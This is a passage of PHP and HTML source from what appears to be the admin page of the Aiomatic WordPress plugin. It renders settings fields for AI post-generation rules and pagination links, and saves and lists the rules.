class="bws_hidden_help_text_top cr_min_260px"> <?php echo esc_html__("Set the custom taxonomies that will be set for generated posts. The syntax for this field is the following: custom_taxonomy_name1 => custom_taxonomy_value1A, custom_taxonomy_value1B; custom_taxonomy_name2 => custom_taxonomy_value2A, custom_taxonomy_value2B; ... . You can also set hierarhical taxonomies (parent > child), in this format: custom_taxonomy_name => parent1 > child1 . You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. You can also use the following topic based shortcodes: %%post_title%%, %%random_sentence%%, %%post_original_title%%, %%random_sentence2%%, %%blog_title%%", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Post Custom Taxonomies:", 'aiomatic-automatic-ai-content-writer');?></b> <b><a href="https://coderevolution.ro/knowledge-base/faq/post-template-reference-advanced-usage/" target="_blank">ⓘ</a></b> </td> <td> <textarea rows="1" cols="70" name="aiomatic_rules_list[custom_tax][]" placeholder="Please insert your desired custom taxonomies. Example: custom_taxonomy_name => %%post_title%%" class="cr_width_full"></textarea> </td> </tr> <tr> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text_top cr_min_260px"> <?php echo esc_html__("Enter a 2 letter language code that will be assigned as the WPML/Polylang language for posts. Example: for German, input: de", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Assign WPML/Polylang Language to Posts:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="text" class="cr_width_full" name="aiomatic_rules_list[wpml_lang][]" value="" placeholder="WPML/Polylang language"> </td> </tr> <tr><td colspan="2"> <h3><?php echo esc_html__("Scheduling Restrictions", 'aiomatic-automatic-ai-content-writer');?>:</h3> </td></tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the days of the week when you don't want to run this rule. You can enter a comma separate list of day names.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Do Not Run This Rule On The Following Days Of The Week:", 'aiomatic-automatic-ai-content-writer');?></b> <br/><?php echo esc_html__("Current Server Time:", 'aiomatic-automatic-ai-content-writer') . ' ' . date('l', time()) . ', ' . date("Y-m-d H:i:s");?> </td> <td> <input type="text" class="cr_width_full" name="aiomatic_rules_list[days_no_run][]" value="" placeholder="Mo,Tu,We,Th,Fr,Sa,Su"> </td> </tr> </table> </div> </div> <div class="codemodalfzr-footer"> <br/> <h3 class="cr_inline">Aiomatic Automatic Post Generator</h3> <span id="aiomatic_ok" class="codeokfzr cr_inline">OK </span> <br/><br/> </div> </div> </div> </td> <td class="cr_shrt_td2"><span class="cr_gray20">X</span></td> <td class="cr_short_td"><input type="checkbox" name="aiomatic_rules_list[active][]" value="1" checked /> <input type="hidden" name="aiomatic_rules_list[last_run][]" value="1988-01-27 00:00:00"/> <input type="hidden" name="aiomatic_rules_list[rule_unique_id][]" value="<?php echo uniqid('', true);?>"/> </td> <td class="cr_short_td"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("No info.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> </td> <td class="cr_center"> <div> <img src="<?php echo esc_url_raw(plugin_dir_url(dirname(__FILE__)) . 'images/running.gif'); ?>" alt="Running" class="cr_running"> <div class="codemainfzr cr_gray_back cr_width_80p"> <select autocomplete="off" class="codemainfzr" id="actions" class="actions" name="actions" disabled> <option value="select" disabled selected><?php echo esc_html__("Select an Action", 'aiomatic-automatic-ai-content-writer');?></option> <option value="run" onclick=""><?php echo esc_html__("Run This Rule Now", 'aiomatic-automatic-ai-content-writer');?></option> <option value="duplicate" onclick=""><?php echo esc_html__("Duplicate This Rule", 'aiomatic-automatic-ai-content-writer');?></option> <option value="up" onclick=""><?php echo esc_html__("Move This Rule Up", 'aiomatic-automatic-ai-content-writer');?></option> <option value="down" onclick=""><?php echo esc_html__("Move This Rule Down", 'aiomatic-automatic-ai-content-writer');?></option> <option value="trash" onclick=""><?php echo esc_html__("Send All Posts To Trash", 'aiomatic-automatic-ai-content-writer');?></option> <option value="delete" onclick=""><?php echo esc_html__("Permanently Delete All Posts", 'aiomatic-automatic-ai-content-writer');?></option> </select> </div> </div> </td> </tr> <?php } ?> </tbody> </table> </div> </div> </div> <hr/> <div> <?php $next_url = (aiomatic_isSecure() ? "https" : "http") . "://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]"; if(stristr($next_url, 'aiomatic_page=') === false) { if(stristr($next_url, '?') === false) { if($max_pages == 1) { $next_url .= '?aiomatic_page=1'; } else { $next_url .= '?aiomatic_page=2'; } } else { if($max_pages == 1) { $next_url .= '&aiomatic_page=1'; } else { $next_url .= '&aiomatic_page=2'; } } } else { if(isset($_GET['aiomatic_page'])) { $curent_page = $_GET["aiomatic_page"]; } else { $curent_page = ''; } if(is_numeric($curent_page)) { $next_page = $curent_page + 1; if($next_page > $max_pages) { $next_page = $max_pages; } if($next_page <= 0) { $next_page = 1; } $next_url = str_replace('aiomatic_page=' . $curent_page, 'aiomatic_page=' . $next_page, $next_url); } else { if(stristr($next_url, '?') === false) { if($max_pages == 1) { $next_url .= '?aiomatic_page=1'; } else { $next_url .= '?aiomatic_page=2'; } } else { if($max_pages == 1) { $next_url .= '&aiomatic_page=1'; } else { $next_url .= '&aiomatic_page=2'; } } } } $prev_url = (aiomatic_isSecure() ? "https" : "http") . "://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]"; if(stristr($prev_url, 'aiomatic_page=') === false) { if(stristr($prev_url, '?') === false) { $prev_url .= '?aiomatic_page=1'; } else { $prev_url .= '&aiomatic_page=1'; } } else { if(isset($_GET['aiomatic_page'])) { $curent_page = $_GET["aiomatic_page"]; } else { $curent_page = ''; } if(is_numeric($curent_page)) { $go_to = $curent_page - 1; if($go_to <= 0) { $go_to = 1; } if($go_to > $max_pages) { $go_to = $max_pages; } $prev_url = str_replace('aiomatic_page=' . $curent_page, 'aiomatic_page=' . $go_to, $prev_url); } else { if(stristr($prev_url, '?') === false) { $prev_url .= '?aiomatic_page=1'; } else { $prev_url .= '&aiomatic_page=1'; } } } $first_url = (aiomatic_isSecure() ? "https" : "http") . "://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]"; if(stristr($first_url, 'aiomatic_page=') === false) { if(stristr($first_url, '?') === false) { $first_url .= '?aiomatic_page=1'; } else { $first_url .= '&aiomatic_page=1'; } } else { if(isset($_GET['aiomatic_page'])) { $curent_page = $_GET["aiomatic_page"]; } else { $curent_page = ''; } if(is_numeric($curent_page)) { $first_url = str_replace('aiomatic_page=' . $curent_page, 'aiomatic_page=1', $first_url); } else { if(stristr($first_url, '?') === false) { $first_url .= '?aiomatic_page=1'; } else { $first_url .= '&aiomatic_page=1'; } } } $last_url = (aiomatic_isSecure() ? "https" : "http") . "://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]"; if(stristr($last_url, 'aiomatic_page=') === false) { if(stristr($last_url, '?') === false) { $last_url .= '?aiomatic_page=' . $max_pages; } else { $last_url .= '&aiomatic_page=' . $max_pages; } } else { if(isset($_GET['aiomatic_page'])) { $curent_page = $_GET["aiomatic_page"]; } else { $curent_page = ''; } if(is_numeric($curent_page)) { $last_url = str_replace('aiomatic_page=' . $curent_page, 'aiomatic_page=' . $max_pages, $last_url); } else { if(stristr($last_url, '?') === false) { $last_url .= '?aiomatic_page=' . $max_pages; } else { $last_url .= '&aiomatic_page=' . $max_pages; } } } if(isset($_GET['aiomatic_page'])) { $this_page = $_GET["aiomatic_page"]; } else { $this_page = '1'; } echo '<center><a href="' . esc_url_raw($first_url) . '">' . esc_html__('First Page', 'aiomatic-automatic-ai-content-writer') . '</a>   <a href="' . esc_url_raw($prev_url) . '">' . esc_html__('Previous Page', 'aiomatic-automatic-ai-content-writer') . '</a>  ' . esc_html__('Page', 'aiomatic-automatic-ai-content-writer') . ' ' . esc_html($this_page) . ' ' . esc_html__('of', 'aiomatic-automatic-ai-content-writer') . ' ' . esc_html($max_pages) . ' - ' . esc_html__("Rules Per Page:", 'aiomatic-automatic-ai-content-writer') . '  <input class="cr_50" type="number" min="2" step="1" max="999" name="posts_per_page" value="' . esc_attr($rules_per_page). '" required/>   <a href="' . esc_url_raw($next_url) . '">' . esc_html__('Next Page', 'aiomatic-automatic-ai-content-writer') . '</a>   <a href="' . esc_url_raw($last_url) . '">' . esc_html__('Last Page', 'aiomatic-automatic-ai-content-writer') . '</a></center> <center></center> <center>Info: You can add new rules only on the last page.</center>'; ?> <div> <p class="crsubmit"><input type="submit" name="btnSubmit" id="btnSubmit" class="button button-primary" onclick="unsaved = false;" value="<?php echo esc_html__("Save Settings", 'aiomatic-automatic-ai-content-writer');?>"/></p> </div> <div> <div><?php echo esc_html__("* = required", 'aiomatic-automatic-ai-content-writer');?></div><br/><?php echo sprintf( wp_kses( __( "Check more settings which apply to rule running, over at the plugin's 'Settings' menu, <a href='%s' target='_blank'>here</a>.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), esc_url_raw( get_admin_url() . 'admin.php?page=aiomatic_admin_settings#tab-17' ) );?> <br/><?php echo esc_html__("New! You can use the [aicontent]Your Prompt[/aicontent] shortcode in this or other", 'aiomatic-automatic-ai-content-writer') . " <a href='https://1.envato.market/coderevolutionplugins' target='_blank'>" . esc_html__("'omatic plugins created by CodeRevolution", 'aiomatic-automatic-ai-content-writer') . "</a>" . esc_html__(", click for details:", 'aiomatic-automatic-ai-content-writer');?> <a href="https://coderevolution.ro/knowledge-base/faq/how-to-create-ai-generated-content-from-any-plugin-built-by-coderevolution/" target="_blank"><img src="https://i.ibb.co/gvTNWr6/artificial-intelligence-badge.png" alt="artificial-intelligence-badge" title="AI content generator support, when used together with the Aiomatic plugin"></a><br/><br/><a href="https://www.youtube.com/watch?v=5rbnu_uis7Y" target="_blank"><?php echo esc_html__("Nested Shortcodes also supported!", 'aiomatic-automatic-ai-content-writer');?></a><br/><br/><?php echo esc_html__("Confused about rule running status icons?", 'aiomatic-automatic-ai-content-writer');?> <a href="http://coderevolution.ro/knowledge-base/faq/how-to-interpret-the-rule-running-visual-indicators-red-x-yellow-diamond-green-tick-from-inside-plugins/" target="_blank"><?php echo esc_html__("More info", 'aiomatic-automatic-ai-content-writer');?></a><br/> <div class="cr_none" id="midas_icons"> <table> <tr> <td><img id="run_img" src="<?php echo esc_url_raw(plugin_dir_url(dirname(__FILE__)) . 'images/running.gif');?>" alt="Running" title="status"></td> <td><?php echo esc_html__("In Progress", 'aiomatic-automatic-ai-content-writer');?> - <b><?php echo esc_html__("Importing is Running", 'aiomatic-automatic-ai-content-writer');?></b></td> </tr> <tr> <td><img id="ok_img" src="<?php echo esc_url_raw(plugin_dir_url(dirname(__FILE__)) . 'images/ok.gif');?>" alt="OK" title="status"></td> <td><?php echo esc_html__("Success", 'aiomatic-automatic-ai-content-writer');?> - <b><?php echo esc_html__("New Posts Created", 'aiomatic-automatic-ai-content-writer');?></b></td> </tr> <tr> <td><img id="fail_img" src="<?php echo esc_url_raw(plugin_dir_url(dirname(__FILE__)) . 'images/failed.gif');?>" alt="Faield" title="status"></td> <td><?php echo esc_html__("Failed", 'aiomatic-automatic-ai-content-writer');?> - <b><?php echo esc_html__("An Error Occurred.", 'aiomatic-automatic-ai-content-writer');?> <b><?php echo esc_html__("Please check 'Activity and Logging' plugin menu for details.", 'aiomatic-automatic-ai-content-writer');?></b></td> </tr> <tr> <td><img id="nochange_img" src="<?php echo esc_url_raw(plugin_dir_url(dirname(__FILE__)) . 'images/nochange.gif');?>" alt="NoChange" title="status"></td> <td><?php echo esc_html__("No Change - No New Posts Created", 'aiomatic-automatic-ai-content-writer');?> - <b><?php echo esc_html__("Possible reasons:", 'aiomatic-automatic-ai-content-writer');?></b></td> </tr> <tr> <td></td> <td> <ul> <li>► <?php echo esc_html__("Please change rule settings, as your titles are all posted.", 'aiomatic-automatic-ai-content-writer');?></li> </ul> </td> </tr> </table> </div> </div> </form> </div> <div id="running_status_ai"></div> </div> <div class="wrap"> <h3><?php echo esc_html__("Keywords/Titles To Blog Posts Tutorial Video", 'aiomatic-automatic-ai-content-writer');?></h3> <div id="ai-video-container"><br/> <iframe class="ai-video" width="560" height="315" src="https://www.youtube.com/embed/dhWhsEIccPU" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe> </div> </div> <?php } if (isset($_POST['aiomatic_rules_list'])) { add_action('admin_init', 'aiomatic_save_rules_manual'); } function aiomatic_save_rules_manual($data2) { $init_rules_per_page = get_option('aiomatic_posts_per_page', 12); $rules_per_page = get_option('aiomatic_posts_per_page', 12); if(isset($_POST['posts_per_page'])) { update_option('aiomatic_posts_per_page', $_POST['posts_per_page']); } check_admin_referer('aiomatic_save_rules', '_aiomaticr_nonce'); $data2 = $_POST['aiomatic_rules_list']; $rules = get_option('aiomatic_rules_list', array()); if(!is_array($rules)) { $rules = array(); } $initial_count = count($rules); $add = false; $scad = false; if(isset($_GET["aiomatic_page"]) && is_numeric($_GET["aiomatic_page"])) { $curent_page = $_GET["aiomatic_page"]; } else { $curent_page = 1; } $offset = ($curent_page - 1) * $rules_per_page; $cat_cont = $offset; $cont = 0; if (isset($data2['post_title'][0])) { for ($i = 0; $i < sizeof($data2['post_title']); ++$i) { $bundle = array(); if (isset($data2['schedule'][$i]) && $data2['schedule'][$i] != '' && $data2['post_title'][$i] != '') { $bundle[] = trim(sanitize_text_field($data2['schedule'][$i])); if (isset($data2['active'][$i])) { $bundle[] = trim(sanitize_text_field($data2['active'][$i])); } else { $bundle[] = '0'; } $bundle[] = trim(sanitize_text_field($data2['last_run'][$i])); $bundle[] = trim(sanitize_text_field($data2['max'][$i])); $bundle[] = trim(sanitize_text_field($data2['submit_status'][$i])); $bundle[] = trim(sanitize_text_field($data2['default_type'][$i])); $bundle[] = trim(sanitize_text_field($data2['post_author'][$i])); $bundle[] = trim(sanitize_text_field($data2['default_tags'][$i])); if($i == sizeof($data2['schedule']) - 1) { if(isset($data2['default_category'])) { $bundle[] = $data2['default_category']; } else { if(!isset($data2['default_category' . $cat_cont])) { $cat_cont++; } if(!isset($data2['default_category' . $cat_cont])) { $bundle[] = array('aiomatic_no_category_12345678'); } else { $bundle[] = $data2['default_category' . $cat_cont]; } } } else { if(!isset($data2['default_category' . $cat_cont])) { $cat_cont++; } if(!isset($data2['default_category' . $cat_cont])) { $bundle[] = array('aiomatic_no_category_12345678'); } else { $bundle[] = $data2['default_category' . $cat_cont]; } } $bundle[] = trim(sanitize_text_field($data2['auto_categories'][$i])); $bundle[] = trim(sanitize_text_field($data2['auto_tags'][$i])); $bundle[] = trim(sanitize_text_field($data2['enable_comments'][$i])); $bundle[] = trim($data2['image_url'][$i]); $bundle[] = $data2['post_title'][$i]; $bundle[] = trim(sanitize_text_field($data2['enable_pingback'][$i])); $bundle[] = trim(sanitize_text_field($data2['post_format'][$i])); $bundle[] = trim(sanitize_text_field($data2['min_char'][$i])); $bundle[] = trim($data2['custom_fields'][$i]); $bundle[] = trim($data2['custom_tax'][$i]); $bundle[] = trim($data2['temperature'][$i]); $bundle[] = trim($data2['top_p'][$i]); $bundle[] = trim($data2['presence_penalty'][$i]); $bundle[] = trim($data2['frequency_penalty'][$i]); $bundle[] = trim($data2['royalty_free'][$i]); $bundle[] = trim($data2['ai_command'][$i]); $bundle[] = trim($data2['max_tokens'][$i]); $bundle[] = trim($data2['max_seed_tokens'][$i]); $bundle[] = trim($data2['max_continue_tokens'][$i]); $bundle[] = trim($data2['model'][$i]); $bundle[] = trim($data2['headings'][$i]); $bundle[] = trim($data2['images'][$i]); $bundle[] = trim($data2['videos'][$i]); $bundle[] = trim($data2['post_prepend'][$i]); $bundle[] = trim($data2['post_append'][$i]); $bundle[] = trim($data2['enable_ai_images'][$i]); $bundle[] = trim($data2['ai_command_image'][$i]); $bundle[] = trim($data2['image_size'][$i]); $bundle[] = trim($data2['headings_list'][$i]); $bundle[] = trim($data2['images_list'][$i]); $bundle[] = trim($data2['wpml_lang'][$i]); $bundle[] = trim($data2['remove_default'][$i]); $bundle[] = trim($data2['title_model'][$i]); $bundle[] = trim($data2['title_ai_command'][$i]); $bundle[] = trim($data2['strip_title'][$i]); $bundle[] = trim($data2['title_once'][$i]); $bundle[] = trim($data2['category_model'][$i]); $bundle[] = trim($data2['category_ai_command'][$i]); $bundle[] = trim($data2['tag_model'][$i]); $bundle[] = trim($data2['tag_ai_command'][$i]); $bundle[] = trim($data2['min_time'][$i]); $bundle[] = trim($data2['max_time'][$i]); $bundle[] = trim($data2['skip_spin'][$i]); $bundle[] = trim($data2['skip_translate'][$i]); $bundle[] = trim($data2['title_source'][$i]); $bundle[] = trim($data2['headings_ai_command'][$i]); $bundle[] = trim($data2['headings_model'][$i]); $bundle[] = trim($data2['posting_mode'][$i]); $bundle[] = trim($data2['post_topic_list'][$i]); $bundle[] = trim($data2['post_sections_list'][$i]); $bundle[] = trim($data2['content_language'][$i]); $bundle[] = trim($data2['writing_style'][$i]); $bundle[] = trim($data2['writing_tone'][$i]); $bundle[] = trim($data2['title_prompt'][$i]); $bundle[] = trim($data2['sections_prompt'][$i]); $bundle[] = trim($data2['content_prompt'][$i]); $bundle[] = trim($data2['excerpt_prompt'][$i]); $bundle[] = trim($data2['section_count'][$i]); $bundle[] = trim($data2['paragraph_count'][$i]); $bundle[] = trim($data2['topic_title_model'][$i]); $bundle[] = trim($data2['topic_sections_model'][$i]); $bundle[] = trim($data2['topic_content_model'][$i]); $bundle[] = trim($data2['topic_excerpt_model'][$i]); $bundle[] = trim($data2['single_content_call'][$i]); $bundle[] = trim($data2['intro_prompt'][$i]); $bundle[] = trim($data2['topic_intro_model'][$i]); $bundle[] = trim($data2['outro_prompt'][$i]); $bundle[] = trim($data2['topic_outro_model'][$i]); $bundle[] = trim($data2['topic_images'][$i]); $bundle[] = trim($data2['sections_role'][$i]); $bundle[] = trim($data2['topic_videos'][$i]); $bundle[] = trim($data2['rule_description'][$i]); $bundle[] = trim($data2['custom_shortcodes'][$i]); $bundle[] = trim($data2['strip_by_regex'][$i]); $bundle[] = trim($data2['replace_regex'][$i]); $bundle[] = trim($data2['strip_by_regex_prompts'][$i]); $bundle[] = trim($data2['replace_regex_prompts'][$i]); $bundle[] = trim($data2['run_regex_on'][$i]); $bundle[] = trim($data2['max_links'][$i]); $bundle[] = trim($data2['link_post_types'][$i]); $bundle[] = trim($data2['enable_toc'][$i]); $bundle[] = trim($data2['title_toc'][$i]); $bundle[] = trim($data2['qa_prompt'][$i]); $bundle[] = trim($data2['topic_qa_model'][$i]); $bundle[] = trim($data2['enable_qa'][$i]); $bundle[] = trim($data2['title_qa'][$i]); $bundle[] = trim($data2['title_outro'][$i]); $bundle[] = trim($data2['link_type'][$i]); $bundle[] = trim($data2['link_list'][$i]); $bundle[] = trim($data2['skip_inexist'][$i]); $bundle[] = trim($data2['global_prepend'][$i]); $bundle[] = trim($data2['global_append'][$i]); $bundle[] = trim($data2['search_query_repetition'][$i]); $bundle[] = trim($data2['img_all_headings'][$i]); $bundle[] = trim($data2['heading_img_location'][$i]); $bundle[] = trim($data2['days_no_run'][$i]); $bundle[] = trim($data2['overwrite_existing'][$i]); $bundle[] = trim($data2['link_nofollow'][$i]); $bundle[] = trim($data2['title_generator_method'][$i]); $bundle[] = trim($data2['parent_id'][$i]); $bundle[] = trim($data2['rule_unique_id'][$i]); $bundle[] = trim($data2['image_model'][$i]); $bundle[] = isset($data2['assistant_id'][$i]) ? trim($data2['assistant_id'][$i]) : ''; $rules[$offset + $cont] = $bundle; $cont++; $cat_cont++; } } while($cont < $init_rules_per_page) { if(isset($rules[$offset + $cont])) { $rules[$offset + $cont] = false; } $cont = $cont + 1; $cat_cont++; } $rules = array_values(array_filter($rules)); } $final_count = count($rules); if($final_count > $initial_count) { $add = true; } elseif($final_count < $initial_count) { $scad = true; } update_option('aiomatic_rules_list', $rules, false); if(count($rules) % $rules_per_page === 1 && $add === true) { $rules_count = count($rules); $max_pages = ceil($rules_count/$rules_per_page); if($max_pages == 0) { $max_pages = 1; } $last_url = (aiomatic_isSecure() ? "https" : "http") . "://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]"; if(stristr($last_url, 'aiomatic_page=') === false) { if(stristr($last_url, '?') === false) { $last_url .= '?aiomatic_page=' . $max_pages; } else { $last_url .= '&aiomatic_page=' . $max_pages; } } else { if(isset($_GET['aiomatic_page'])) { $curent_page = $_GET["aiomatic_page"]; } else { $curent_page = ''; } if(is_numeric($curent_page)) { $last_url = str_replace('aiomatic_page=' . $curent_page, 'aiomatic_page=' . $max_pages, $last_url); } else { if(stristr($last_url, '?') === false) { $last_url .= '?aiomatic_page=' . $max_pages; } else { $last_url .= '&aiomatic_page=' . $max_pages; } } } aiomatic_redirect($last_url); } elseif(count($rules) != 0 && count($rules) % $rules_per_page === 0 && $scad === true) { $rules_count = count($rules); $max_pages = ceil($rules_count/$rules_per_page); if($max_pages == 0) { $max_pages = 1; } $last_url = (aiomatic_isSecure() ? "https" : "http") . "://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]"; if(stristr($last_url, 'aiomatic_page=') === false) { if(stristr($last_url, '?') === false) { $last_url .= '?aiomatic_page=' . $max_pages; } else { $last_url .= '&aiomatic_page=' . $max_pages; } } else { if(isset($_GET['aiomatic_page'])) { $curent_page = $_GET["aiomatic_page"]; } else { $curent_page = ''; } if(is_numeric($curent_page)) { $last_url = str_replace('aiomatic_page=' . $curent_page, 'aiomatic_page=' . $max_pages, $last_url); } else { if(stristr($last_url, '?') === false) { $last_url .= '?aiomatic_page=' . $max_pages; } else { $last_url .= '&aiomatic_page=' . $max_pages; } } } aiomatic_redirect($last_url); } } function aiomatic_expand_rules_manual() { $all_models = aiomatic_get_all_models(true); $all_assistants = aiomatic_get_all_assistants(true); if (!get_option('aiomatic_running_list')) { $running = array(); } else { $running = get_option('aiomatic_running_list'); } $GLOBALS['wp_object_cache']->delete('aiomatic_rules_list', 'options'); $rules = get_option('aiomatic_rules_list'); if(!is_array($rules)) { $rules = array(); } $output = ''; $cont = 0; if (!empty($rules)) { $cat_args = array( "orderby" => "name", "hide_empty" => 0, "order" => "ASC" ); $categories = get_categories($cat_args); $posted_items = array(); $post_list = array(); $postsPerPage = 50000; $paged = 0; do { $postOffset = $paged * $postsPerPage; $query = array( 'post_status' => array( 'publish', 'draft', 'pending', 'trash', 'private', 'future' ), 'post_type' => array( 'any' ), 'numberposts' => $postsPerPage, 'meta_key' => 'aiomatic_parent_rule', 'fields' => 'ids', 'offset' => $postOffset ); $got_me = get_posts($query); $post_list = array_merge($post_list, $got_me); $paged++; }while(!empty($got_me)); wp_suspend_cache_addition(true); foreach ($post_list as $post) { $rule_id = get_post_meta($post, 'aiomatic_parent_rule', true); if ($rule_id != '') { if(stristr($rule_id, '-')) { $exp = explode('-', $rule_id); if(isset($exp[0]) && isset($exp[1]) && $exp[0] == '0') { $posted_items[] = $exp[1]; } } else { $posted_items[] = $rule_id; } } } wp_suspend_cache_addition(false); $counted_vals = array_count_values($posted_items); if(isset($_GET["aiomatic_page"]) && is_numeric($_GET["aiomatic_page"])) { $curent_page = $_GET["aiomatic_page"]; } else { $curent_page = 1; } $unlocker = get_option('aiomatic_minute_running_unlocked', false); $rules_per_page = get_option('aiomatic_posts_per_page', 12); foreach ($rules as $request => $bundle[]) { if(($cont < ($curent_page - 1) * $rules_per_page) || ($cont >= $curent_page * $rules_per_page)) { $cont++; continue; } $bundle_values = array_values($bundle); $myValues = $bundle_values[$cont]; $array_my_values = array_values($myValues);for($iji=0;$iji<count($array_my_values);++$iji){if(is_string($array_my_values[$iji])){$array_my_values[$iji]=stripslashes($array_my_values[$iji]);}} $schedule = $array_my_values[0]; $active = $array_my_values[1]; $last_run = $array_my_values[2]; $max = $array_my_values[3]; $status = $array_my_values[4]; $def_type = $array_my_values[5]; $post_user_name = $array_my_values[6]; $default_tags = $array_my_values[7]; $default_category = $array_my_values[8]; $auto_categories = $array_my_values[9]; $auto_tags = $array_my_values[10]; $enable_comments = $array_my_values[11]; $image_url = $array_my_values[12]; $post_title = $array_my_values[13]; $enable_pingback = $array_my_values[14]; $post_format = $array_my_values[15]; $min_char = $array_my_values[16]; $custom_fields = $array_my_values[17]; $custom_tax = $array_my_values[18]; $temperature = $array_my_values[19]; $top_p = $array_my_values[20]; $presence_penalty = $array_my_values[21]; $frequency_penalty = $array_my_values[22]; $royalty_free = $array_my_values[23]; $ai_command = $array_my_values[24]; $max_tokens = $array_my_values[25]; $max_seed_tokens = $array_my_values[26]; $max_continue_tokens = $array_my_values[27]; $model = $array_my_values[28]; $headings = $array_my_values[29]; $images = $array_my_values[30]; $videos = $array_my_values[31]; $post_prepend = $array_my_values[32]; $post_append = $array_my_values[33]; $enable_ai_images = $array_my_values[34]; $ai_command_image = $array_my_values[35]; $image_size = $array_my_values[36]; $headings_list = $array_my_values[37]; $images_list = $array_my_values[38]; $wpml_lang = $array_my_values[39]; $remove_default = $array_my_values[40]; $title_model = $array_my_values[41]; $title_ai_command = $array_my_values[42]; $strip_title = $array_my_values[43]; $title_once = $array_my_values[44]; $category_model = $array_my_values[45]; $category_ai_command = $array_my_values[46]; $tag_model = $array_my_values[47]; $tag_ai_command = $array_my_values[48]; $min_time = $array_my_values[49]; $max_time = $array_my_values[50]; $skip_spin = $array_my_values[51]; $skip_translate = $array_my_values[52]; $title_source = $array_my_values[53]; $headings_ai_command = $array_my_values[54]; $headings_model = $array_my_values[55]; $posting_mode = $array_my_values[56]; $post_topic_list = $array_my_values[57]; $post_sections_list = $array_my_values[58]; $content_language = $array_my_values[59]; $writing_style = $array_my_values[60]; $writing_tone = $array_my_values[61]; $title_prompt = $array_my_values[62]; $sections_prompt = $array_my_values[63]; $content_prompt = $array_my_values[64]; $excerpt_prompt = $array_my_values[65]; $section_count = $array_my_values[66]; $paragraph_count = $array_my_values[67]; $topic_title_model = $array_my_values[68]; $topic_sections_model = $array_my_values[69]; $topic_content_model = $array_my_values[70]; $topic_excerpt_model = $array_my_values[71]; $single_content_call = $array_my_values[72]; $intro_prompt = $array_my_values[73]; $topic_intro_model = $array_my_values[74]; $outro_prompt = $array_my_values[75]; $topic_outro_model = $array_my_values[76]; $topic_images = $array_my_values[77]; $sections_role = $array_my_values[78]; $topic_videos = $array_my_values[79]; $rule_description = $array_my_values[80]; $custom_shortcodes = $array_my_values[81]; $strip_by_regex = $array_my_values[82]; $replace_regex = $array_my_values[83]; $strip_by_regex_prompts = $array_my_values[84]; $replace_regex_prompts = $array_my_values[85]; $run_regex_on = $array_my_values[86]; $max_links = $array_my_values[87]; $link_post_types = $array_my_values[88]; $enable_toc = $array_my_values[89]; $title_toc = $array_my_values[90]; $qa_prompt = $array_my_values[91]; $topic_qa_model = $array_my_values[92]; $enable_qa = $array_my_values[93]; $title_qa = $array_my_values[94]; $title_outro = $array_my_values[95]; $link_type = $array_my_values[96]; $link_list = $array_my_values[97]; $skip_inexist = $array_my_values[98]; $global_prepend = $array_my_values[99]; $global_append = $array_my_values[100]; $search_query_repetition= $array_my_values[101]; $img_all_headings = $array_my_values[102]; $heading_img_location = $array_my_values[103]; $days_no_run = $array_my_values[104]; $overwrite_existing = $array_my_values[105]; $link_nofollow = $array_my_values[106]; $title_generator_method = $array_my_values[107]; $parent_id = $array_my_values[108]; $rule_unique_id = $array_my_values[109]; $image_model = $array_my_values[110]; $assistant_id = $array_my_values[111]; if(empty($rule_unique_id)) { $rule_unique_id = $cont; } if (isset($counted_vals[$rule_unique_id])) { $generated_posts = $counted_vals[$rule_unique_id]; } else { $generated_posts = 0; } if($rule_description == '') { $rule_description = $cont; } if(empty($posting_mode)) { $posting_mode = 'title'; } $name = md5(get_bloginfo()); wp_add_inline_script($name . '-footer-script', 'createAdmin(' . esc_html($cont) . ');createModeSelect(' . esc_html($cont) . ');hideLinks(' . esc_html($cont) . ');', 'after'); $output .= '<tr> <td class="cr_short_td"><input type="text" name="aiomatic_rules_list[rule_description][]" id="rule_description' . esc_html($cont) . '" class="cr_center" placeholder="Rule ID" value="' . esc_html($rule_description) . '" class="cr_width_full"/></td> <td class="cr_width_80 cr_center"> <select autocomplete="off" id="posting_mode' . esc_html($cont) . '" name="aiomatic_rules_list[posting_mode][]" class="cr_width_full"> <option value="topic"'; if ($posting_mode == 'topic') { $output .= ' selected'; } $output .= '>' . esc_html__("Topic Based/Multiple API Calls", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="title"'; if ($posting_mode == 'title') { $output .= ' selected'; } $output .= '>' . esc_html__("Title Based/Single API Call", 'aiomatic-automatic-ai-content-writer') . '</option> </select> </td> <td class="cr_loi"><textarea rows="1" name="aiomatic_rules_list[post_title][]" placeholder="Please insert your post titles/TXT file URL/RSS feed URLs/%%ai_generated_title%% shortcode" class="cr_width_full">' . htmlspecialchars($post_title) . '</textarea></td> <td class="cr_comm_td"><input type="number" step="1" min="1" placeholder="# h" name="aiomatic_rules_list[schedule][]" max="8765812" value="' . esc_attr($schedule) . '" class="cr_width_60" required></td> <td class="cr_comm_td"><input type="number" step="1" min="0" placeholder="#" name="aiomatic_rules_list[max][]" value="' . esc_attr($max) . '" class="cr_width_60" required></td> <td class="cr_width_70 cr_center"> <input type="button" id="mybtnfzr' . esc_html($cont) . '" value="Settings"> <div id="mymodalfzr' . esc_html($cont) . '" class="codemodalfzr"> 